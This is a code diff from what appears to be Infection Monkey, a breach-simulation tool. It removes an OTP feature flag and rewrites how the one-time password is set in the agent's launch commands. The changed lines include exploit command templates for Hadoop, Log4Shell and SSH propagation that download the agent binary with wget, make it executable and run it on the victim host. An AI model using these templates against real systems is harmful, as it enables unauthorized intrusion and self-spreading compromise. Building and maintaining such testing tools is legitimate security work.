Merge branch '3078-remove-feature-flag' into develop

Issue #3078
PR #3209

Author: mssalvatore

monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py

@@ -36,9 +36,9 @@
 HADOOP_LINUX_COMMAND_TEMPLATE = (
     "wget --no-clobber -O %(monkey_path)s %(http_path)s "
     "|| sleep 5 && ( ( ! [ -s %(monkey_path)s ] ) && rm %(monkey_path)s ) "
-    "; chmod +x %(monkey_path)s "
-    "&& %(agent_otp_environment_variable)s=%(agent_otp)s "
-    "&&  %(monkey_path)s %(monkey_type)s %(parameters)s"
+    "; chmod +x %(monkey_path)s ;"
+    " %(agent_otp_environment_variable)s=%(agent_otp)s "
+    "%(monkey_path)s %(monkey_type)s %(parameters)s"
 )
 
 

monkey/infection_monkey/exploit/sshexec.py

@@ -240,8 +240,8 @@ def _propagate(self, ssh: paramiko.SSHClient):
             raise FailedExploitationError(self.exploit_result.error_message)
 
         try:
-            cmdline = f"{AGENT_OTP_ENVIRONMENT_VARIABLE}={self.otp_provider.get_otp()} ;"
-            cmdline += f" {monkey_path_on_victim} {MONKEY_ARG}"
+            cmdline = f"{AGENT_OTP_ENVIRONMENT_VARIABLE}={self.otp_provider.get_otp()} "
+            cmdline += f"{monkey_path_on_victim} {MONKEY_ARG}"
             cmdline += build_monkey_commandline(self.agent_id, self.servers, self.current_depth + 1)
             cmdline += " > /dev/null 2>&1 &"
             timestamp = time()

monkey/infection_monkey/model/__init__.py

@@ -1,14 +1,11 @@
-# TODO: Remove this before closing #3077
-OTP_FLAG = "AGENT_OTP_FLAG"
-
 MONKEY_ARG = "m0nk3y"
 DROPPER_ARG = "dr0pp3r"
 ID_STRING = "M0NK3Y3XPL0ITABLE"
 
 # Username prefix for users created by Infection Monkey
 USERNAME_PREFIX = "somenewuser"
 
-SET_OTP_WINDOWS = "set %(agent_otp_environment_variable)s=%(agent_otp)s &&"
+SET_OTP_WINDOWS = "set %(agent_otp_environment_variable)s=%(agent_otp)s&"
 
 # CMD prefix for windows commands
 CMD_EXE = "cmd.exe"
@@ -41,8 +38,8 @@
 
 LOG4SHELL_LINUX_COMMAND = (
     "wget -O %(monkey_path)s %(http_path)s ;"
-    "%(agent_otp_environment_variable)s=%(agent_otp)s ;"
     "chmod +x %(monkey_path)s ;"
+    " %(agent_otp_environment_variable)s=%(agent_otp)s "
     " %(monkey_path)s %(monkey_type)s %(parameters)s"
 )
 

monkey/infection_monkey/monkey.py

@@ -100,7 +100,6 @@
 from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers
 
 from .heart import Heart
-from .model import OTP_FLAG
 from .plugin_event_forwarder import PluginEventForwarder
 
 logger = logging.getLogger(__name__)
@@ -174,10 +173,6 @@ def _get_arguments(args):
 
     @staticmethod
     def _get_otp() -> OTP:
-        # No need for a constant, this is a feature flag that will be removed.
-        if OTP_FLAG not in os.environ:
-            return OTP("PLACEHOLDER_OTP")
-
         try:
             otp = OTP(os.environ[AGENT_OTP_ENVIRONMENT_VARIABLE])
         except KeyError:

monkey/tests/unit_tests/infection_monkey/test_monkey.py

@@ -4,14 +4,12 @@
 from tests.data_for_tests.otp import TEST_OTP
 
 from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE
-from infection_monkey.model import OTP_FLAG
 from infection_monkey.monkey import InfectionMonkey
 
 
 @pytest.fixture(autouse=True)
 def configure_environment_variables(monkeypatch):
     monkeypatch.setenv(AGENT_OTP_ENVIRONMENT_VARIABLE, TEST_OTP.get_secret_value())
-    monkeypatch.setenv(OTP_FLAG, True)
 
 
 def test_get_otp(monkeypatch):
@@ -23,13 +21,3 @@ def test_get_otp__no_otp(monkeypatch):
     monkeypatch.delenv(AGENT_OTP_ENVIRONMENT_VARIABLE)
     with pytest.raises(Exception):
         InfectionMonkey._get_otp()
-
-
-def test_get_otp__feature_flag_disabled(monkeypatch):
-    try:
-        monkeypatch.delenv(OTP_FLAG)
-    except KeyError:
-        pass
-
-    # No need for a constant, this code is testing a feature flag that will be removed.
-    assert InfectionMonkey._get_otp().get_secret_value() == "PLACEHOLDER_OTP"